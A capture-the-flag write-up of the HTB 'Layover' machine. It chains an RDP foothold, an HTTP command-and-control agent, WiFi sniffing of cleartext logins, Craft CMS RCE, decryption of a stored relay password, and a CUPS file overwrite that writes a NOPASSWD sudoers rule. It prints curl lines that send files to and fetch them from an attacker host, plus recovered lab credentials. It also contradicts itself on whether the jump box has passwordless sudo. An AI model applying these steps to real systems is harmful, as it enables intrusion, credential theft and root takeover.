Post

HTB Layover Writeup

HTB Layover Writeup

A concise, practical walkthrough of the HTB Layover machine. It is a chain of pivots rather than a single exploit: RDP into a jump host with no usable clipboard, build a command relay over HTTP to get a real shell, sniff an open wireless network for cleartext credentials, pivot into an internal Craft CMS instance for RCE, decrypt a stored mail-relay password, and finish with a CUPS local privilege escalation. Exact commands, the reasoning behind each pivot, and the places where the published PoC had to be abandoned are all recorded below.

Target: Layover.htb (10.129.71.182)

Contents

Overview

The attack chain in one table:

#StepCVE / technique
1RDP as contractor, reach the jump box airside-ws01—
2Command relay over HTTP through the jump box (no shell on the RDP host)—
3Join open SSID HTB International WiFi, capture cleartext HTTP on channel 6—
4Recover jenny credentials, log into the Craft CMS control panel—
5RCE as www-data on the portalCVE-2026-44011
6Read .env (CRAFT_SECURITY_KEY), dump htbairways_settings—
7Decrypt the SMTP relay password → aporter—
8Read user.txt—
9Capture a reusable CUPS admin token, then arbitrary root file overwriteCVE-2026-34990
10Drop a sudoers fragment → root, read root.txt—

A structured tree of this writeup for quick navigation:

  • 1 Recon
    • 1.1 Nmap scan
  • 2 RDP entry and command relay
    • 2.1 Building a bidirectional channel
    • 2.2 Internal addressing
  • 3 WiFi capture
    • 3.1 Recovering jenny credentials
  • 4 Craft CMS RCE
    • 4.1 Exploiting CVE-2026-44011
  • 5 Environment secrets
    • 5.1 Reading .env
    • 5.2 Decrypting the SMTP relay password
  • 6 User flag
  • 7 Root via CVE-2026-34990
    • 7.1 The vulnerability
    • 7.2 Deviation from the published PoC
    • 7.3 Enabling the queue
    • 7.4 Overwriting sudoers
  • 8 Cleanup
    • 8.1 Portal
    • 8.2 Jump box
    • 8.3 Two mistakes worth recording
  • 9 Credentials summary

1 Recon

1.1 Nmap scan

A full TCP sweep returned only SSH and RDP, confirming RDP as the intended entry point:

1
nmap -sT -sV -sC -p- --min-rate 2000 -T4 -oA scans/all-tcp Layover.htb
1
2
3
4
5
6
7
Nmap scan report for Layover.htb (10.129.71.182)
Host is up (0.17s latency).
Not shown: 58457 closed tcp ports (conn-refused), 7076 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
3389/tcp open  ms-wbt-server Microsoft Terminal Service
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

A targeted pass with RDP-specific scripts confirmed NLA was available:

1
2
3
nmap --privileged -Pn -p22,3389 -sV \
  --script ssh-hostkey,ssh2-enum-algos,rdp-enum-encryption,rdp-ntlm-info \
  -oA scans/targeted Layover.htb
1
2
3
4
5
6
7
8
9
10
11
3389/tcp open  ms-wbt-server Microsoft Terminal Service
| rdp-enum-encryption:
|   Security layer
|     CredSSP (NLA): SUCCESS
|     CredSSP with Early User Auth: SUCCESS
|     Native RDP: SUCCESS
|     RDSTLS: SUCCESS
|     SSL: SUCCESS
|   RDP Encryption level: High
|     128-bit RC4: SUCCESS
|_  RDP Protocol Version:  RDP 5.x, 6.x, 7.x, or 8.x server

Credentials contractor / Contractor2026! land a session on airside-ws01.


2 RDP entry and command relay

2.1 Building a bidirectional channel

The RDP host has no xclip or xsel, and the clipboard is effectively one-way, so OCR of the framebuffer is far too lossy to work with. Instead of fighting the GUI, a bidirectional command channel was built:

  • scripts/outbox.py — HTTP relay on the attacker box: a per-host command queue, a result sink, and a read-only file server.
  • serve/agent.sh — dependency-free polling agent (curl plus coreutils only) that runs queued commands with bash and POSTs the exact output back. The jump box has passwordless sudo, so the agent also writes a c2sudo wrapper for non-interactive elevation.
  • serve/fwd.py — TCP forwarder bridging the internal network back to the relay.

Driving commands from the attacker side:

1
2
scripts/c2.py -H airside-ws01 run 'ip -br a'
scripts/c2.py -H portal      run 'id'   # the Craft host, once compromised

2.2 Internal addressing

Addressing learned from the jump box:

HostAddresses
airside-ws01 (jump box)eth0=10.159.143.45, wlan2=10.13.37.182
portal (Craft CMS)10.13.37.10
attacker workstation10.10.15.12

3 WiFi capture

3.1 Recovering jenny credentials

wlan2 joined the open SSID HTB International WiFi, and wlan3 was put into monitor mode on channel 6:

1
2
3
4
5
sudo ip link set wlan3 down
sudo iw dev wlan3 set monitor otherbss
sudo iw dev wlan3 set channel 6
sudo airmon-ng start wlan3
sudo tcpdump -i wlan3 -w /tmp/cap/channel6.pcap

The internal Miles portal is plain HTTP, so credentials cross the air in cleartext:

1
POST /miles/login.php   username=jenny   password=Fl1ghtDeck2026!

jenny / Fl1ghtDeck2026! also authenticates to the Craft CMS control panel at http://portal.international.htb/admin (Jenny Crawford).

The capture is preserved at scans/channel6.pcap (6.2 MB, 802.11/radiotap, sha256 d7b3f7c8858ef826c9325b76a2a40efdef70a2eedcd359eabe658282234da601).


4 Craft CMS RCE

4.1 Exploiting CVE-2026-44011

serve/craft_rce.py drives Craft’s element-search behaviour, injecting a PHP expression into a template-rendering context.

A detail worth recording: the gadget does not support shell metacharacters directly. It was used as a file-write and file-read primitive instead:

1
2
3
4
# write
curl -s -G -o /tmp/x http://attacker/x --data-binary 'seed'
# read
curl -s --data-binary @/tmp/x http://attacker/

A full shell was then obtained by staging serve/agent.sh through that primitive. Some requests returned HTTP 500 while still executing, so status codes were never treated as success indicators — the relay’s own output was used as the source of truth.

Once the agent was in place, agent.sh ran as www-data on portal.


5 Environment secrets

5.1 Reading .env

/var/www/portal/.env:

1
2
3
4
CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftDB_pw_2026
CRAFT_DB_DATABASE=craft

Stack: Craft Solo 5.9.8, Yii 2.0.54, PHP 8.3.6, MariaDB 10.11.14.

The htbairways_settings table stored the mail relay account, with the password encrypted using that key:

SettingValue
mailRelayHostmail.htbairways.htb
mailRelayPort587
mailRelayUseraporter
mailRelayPassword(encrypted)

5.2 Decrypting the SMTP relay password

serve/decrypt_relay.php bootstrapped the Craft application and called yii\base\Security::decryptByKey() with the real security key, recovering:

1
aporter / Skyp0rt_Relay!26

6 User flag

sshpass was available on the jump box, so the pivot was a direct SSH hop rather than an interactive session:

1
sshpass -p 'Skyp0rt_Relay!26' ssh aporter@10.13.37.10 'cat ~/user.txt'
1
503*****************************

7 Root via CVE-2026-34990

7.1 The vulnerability

CUPS 2.4.16 is the local service to abuse. The chain has three parts:

  1. CUPS-Create-Local-Printer (IPP 0x4028) is not in the admin-authenticated operation set, so under the stock config it falls through to the permissive <Limit All> block. Any local user may register a queue with an arbitrary device-uri.
  2. Pointing that device-uri at a listener we control makes cupsd’s background validation thread connect to us. Because the peer is on loopback and the challenge is the privileged @SYSTEM one, libcups sends Authorization: Local <token> — a reusable admin token.
  3. Printing to a queue whose device-uri is a file: URI makes the root-owned scheduler open that path with O_WRONLY|O_CREAT|O_TRUNC — an arbitrary root file overwrite.

7.2 Deviation from the published PoC

The advisory’s PoC stages the file: URI through CUPS-Create-Local-Printer, then races printer-is-shared=true against the background validation thread, on the assumption that the admin path rejects file: device URIs when the FileDevice policy is disabled.

On this target neither half of that holds, verified directly:

  • CUPS-Create-Local-Printer returns server-error-device-error (0x0508) for a file: device URI, so the temporary-queue stage never stores the URI. error_log shows: Returning IPP server-error-device-error for CUPS-Create-Local-Printer (ipp://127.0.0.1:631/) from localhost.
  • The admin add/modify path accepts a file: device URI and persists it:
1
lpstat -v
1
device for <name>: ///etc/sudoers.d/aporter-pwn

Since the race cannot succeed when the create stage is rejected outright, it was dropped. The overwrite is driven directly through the admin path, which is both simpler and not timing-dependent.

A faithful port of the race was still tried first, 25 attempts, and failed 25/25. The tell was in lpstat -v: every raced queue had reverted to device for pwnNNNN: ///dev/null, because CUPS-Create-Local-Printer had failed and the subsequent add/modify created a default /dev/null queue. The captured token itself was fine all along — CUPS-Get-Printers with it returned 0x0000 and 172 KB of printer data. The flood of Local authentication certificate not found lines in error_log was a red herring: those came from the unauthenticated print-job requests, not from the admin ones.

7.3 Enabling the queue

A freshly added queue lands in disabled / reason unknown and its jobs sit pending forever — the scheduler never writes the file. The queue has to be explicitly accepted and resumed, with printer-state-reasons=none supplied, before the job is drained. Without that the whole chain looks like it is working (add/modify 0x0000, print-job 0x0000) while producing no file at all.

Verification is indirect. The dropped file is created root:root mode 0600 by the scheduler, so aporter can stat it but not read it — read_bytes() raises PermissionError. Success is therefore confirmed by asking sudo for a root shell, exactly as the upstream PoC does. The same applies to /etc/sudoers.d, which is drwxr-x--- root:root and not even listable by aporter.

7.4 Overwriting sudoers

1
2
3
4
5
6
7
8
$ sudo -n /bin/sh -c ls -l /etc/sudoers.d/aporter-pwn
-rw------- 1 root root 32 Sep 27 10:24 /etc/sudoers.d/aporter-pwn
$ sudo -n /bin/sh -c cat /etc/sudoers.d/aporter-pwn
aporter ALL=(ALL) NOPASSWD: ALL
$ sudo -n /usr/sbin/visudo -c -f /etc/sudoers.d/aporter-pwn
/etc/sudoers.d/aporter-pwn: parsed OK
$ sudo -n /bin/sh -c id
uid=0(root) gid=0(root) groups=0(root)

Root flag:

1
sudo -n cat /root/root.txt
1
bcd*****************************

8 Cleanup

8.1 Portal

  • /etc/sudoers.d/aporter-pwn removed; sudo -n -l requires a password again.
  • All print queues deleted (lpstat -a → No destinations added).
  • /var/www/portal/storage/decrypt_relay.php removed from the webroot.
  • Craft-phase staging removed from /tmp: _c2up.b64, agent.sh, agent2.sh, agent3.sh, c2/, fetched.sh, probe.out, probe2.out, touched_px-touch-tmp.
  • Root-owned scheduler output /tmp/verify-*, /tmp/aporter-write-test, /tmp/cups_privesc_child.py removed while the sudoers rule was still live — /tmp is sticky, so they could not be deleted afterwards.
  • /home/aporter/work removed; home contains only dotfiles and user.txt.

8.2 Jump box

  • File server (:8000, was running as root) and TCP forwarder (:9001) killed.
  • /tmp/serve and /tmp/cap removed (capture preserved locally in scans/).
  • wlan2 disconnected from HTB International WiFi; wlan3 returned from monitor mode to managed; nmcli radio wifi → disabled.
  • C2 agent killed and /tmp/c2, /tmp/agent.sh removed via a delayed self-destruct, so the teardown’s own confirmation was still delivered. The relay was then probed with a fresh command tag; it was queued and never consumed (8 polls, all 404), proving the agent was gone.

The attacker box had its relay (outbox.py :9000) and Xvfb :99 stopped, leaving nothing listening on 9000/9001/8000. outbox/ retains the tagged command/result log as an audit trail.

8.3 Two mistakes worth recording

  • sudo -n on the jump box is not passwordless; elevated commands there go through the /tmp/c2/c2sudo wrapper, which supplies the password. Calling sudo -n directly failed and the root file server survived the first teardown attempt.
  • pkill -f 'outbox.py 9000' matched the invoking shell’s own command line and killed the shell mid-script. Pattern-based kills need --older-than-style exclusion or, better, an explicit PID.

9 Credentials summary

SourceCredential
Supplied by HTBcontractor / Contractor2026!
WiFi capture (cleartext miles/login.php)jenny / Fl1ghtDeck2026!
Decrypted htbairways_settings.mailRelayPasswordaporter / Skyp0rt_Relay!26

Artifacts kept locally — exploit/cups_privesc.py (CVE-2026-34990 exploit), exploit/cups_diag.py (instrumented diagnostics), scripts/ (relay and C2 client), serve/ (agent, forwarder, Craft and decrypt helpers), scans/channel6.pcap (preserved WiFi capture), and loot/.

This post is licensed under CC BY 4.0 by the author.